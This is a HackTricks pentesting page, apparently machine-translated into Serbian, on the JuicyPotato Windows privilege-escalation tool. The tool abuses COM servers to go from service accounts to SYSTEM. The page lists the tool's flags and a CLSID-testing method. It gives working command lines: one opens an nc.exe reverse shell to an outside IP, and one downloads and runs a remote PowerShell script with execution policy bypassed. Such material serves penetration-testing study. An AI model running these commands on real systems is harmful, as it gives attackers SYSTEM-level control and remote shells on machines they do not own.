JuicyPotato

Support HackTricks

JuicyPotato ne radi na Windows Server 2019 i Windows 10 verziji 1809 i novijim. Međutim, PrintSpoofer, RoguePotato, SharpEfsPotato mogu se koristiti za iskorišćavanje istih privilegija i dobijanje NT AUTHORITY\SYSTEM nivo pristupa. Proverite:

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

Juicy Potato (zloupotreba zlatnih privilegija)

Slađena verzija RottenPotatoNG, sa malo soka, tj. još jedan alat za lokalnu eskalaciju privilegija, od Windows servisnih naloga do NT AUTHORITY\SYSTEM

Sažetak

Iz juicypotato Readme:

RottenPotatoNG i njene varijante koriste lanac eskalacije privilegija zasnovan na BITS servisu koji ima MiTM slušalac na 127.0.0.1:6666 i kada imate SeImpersonate ili SeAssignPrimaryToken privilegije. Tokom pregleda Windows verzije otkrili smo podešavanje gde je BITS namerno onemogućen i port 6666 je zauzet.

Odlučili smo da oružamo RottenPotatoNG: Pozdravite Juicy Potato.

Za teoriju, pogledajte Rotten Potato - Eskalacija privilegija od servisnih naloga do SYSTEM i pratite lanac linkova i referenci.

Otkrili smo da, osim BITS, postoji nekoliko COM servera koje možemo zloupotrebiti. Oni samo treba da:

  1. budu instancirani od strane trenutnog korisnika, obično "korisnika servisa" koji ima privilegije impersonacije

  2. implementiraju IMarshal interfejs

  3. rade kao uzvišeni korisnik (SYSTEM, Administrator, …)

Nakon nekog testiranja dobili smo i testirali opsežnu listu zanimljivih CLSID-ova na nekoliko verzija Windows-a.

Sočne informacije

JuicyPotato vam omogućava:

  • Ciljani CLSID izaberite bilo koji CLSID koji želite. Ovde možete pronaći listu organizovanu po OS-u.

  • COM slušalac port definišite COM slušalac port koji preferirate (umesto marširanog hardkodiranog 6666)

  • COM slušalac IP adresa vežite server na bilo koju IP adresu

  • Način kreiranja procesa u zavisnosti od privilegija impersoniranog korisnika možete izabrati:

  • CreateProcessWithToken (potrebne SeImpersonate)

  • CreateProcessAsUser (potrebne SeAssignPrimaryToken)

  • oba

  • Proces za pokretanje pokrenite izvršni fajl ili skriptu ako eksploatacija uspe

  • Argument procesa prilagodite argumente pokrenutog procesa

  • RPC Server adresa za diskretniji pristup možete se autentifikovati na eksterni RPC server

  • RPC Server port korisno ako želite da se autentifikujete na eksterni server i vatrozid blokira port 135

  • TEST mod pretežno za testiranje, tj. testiranje CLSID-ova. Kreira DCOM i štampa korisnika tokena. Pogledajte ovde za testiranje

Korišćenje

T:\>JuicyPotato.exe
JuicyPotato v0.1

Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port


Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)

Final thoughts

Iz juicy-potato Readme:

Ako korisnik ima SeImpersonate ili SeAssignPrimaryToken privilegije, onda ste SYSTEM.

Skoro je nemoguće sprečiti zloupotrebu svih ovih COM servera. Možete razmisliti o modifikaciji dozvola ovih objekata putem DCOMCNFG, ali srećno, ovo će biti izazovno.

Pravo rešenje je zaštita osetljivih naloga i aplikacija koje rade pod * SERVICE nalozima. Zaustavljanje DCOM bi sigurno sprečilo ovu eksploataciju, ali bi moglo imati ozbiljan uticaj na osnovni operativni sistem.

Iz: http://ohpe.it/juicy-potato/

Examples

Napomena: Posetite ovu stranicu za listu CLSID-ova koje možete isprobati.

Get a nc.exe reverse shell

c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

c:\Users\Public>

Powershell rev

.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *

Pokrenite novi CMD (ako imate RDP pristup)

CLSID Problemi

Često, podrazumevani CLSID koji JuicyPotato koristi ne radi i eksploatacija ne uspeva. Obično je potrebno više pokušaja da se pronađe funkcionalni CLSID. Da biste dobili listu CLSID-ova koje treba isprobati za određeni operativni sistem, trebate posetiti ovu stranicu:

Proveravanje CLSID-ova

Prvo, biće vam potrebni neki izvršni fajlovi osim juicypotato.exe.

Preuzmite Join-Object.ps1 i učitajte ga u vašu PS sesiju, a zatim preuzmite i izvršite GetCLSID.ps1. Taj skript će kreirati listu mogućih CLSID-ova za testiranje.

Zatim preuzmite test_clsid.bat (promenite putanju do liste CLSID-ova i do juicypotato izvršnog fajla) i izvršite ga. Počeće da pokušava svaki CLSID, i kada se broj porta promeni, to će značiti da je CLSID radio.

Proverite funkcionalne CLSID-ove koristeći parametar -c

Reference

Podrška HackTricks

Last updated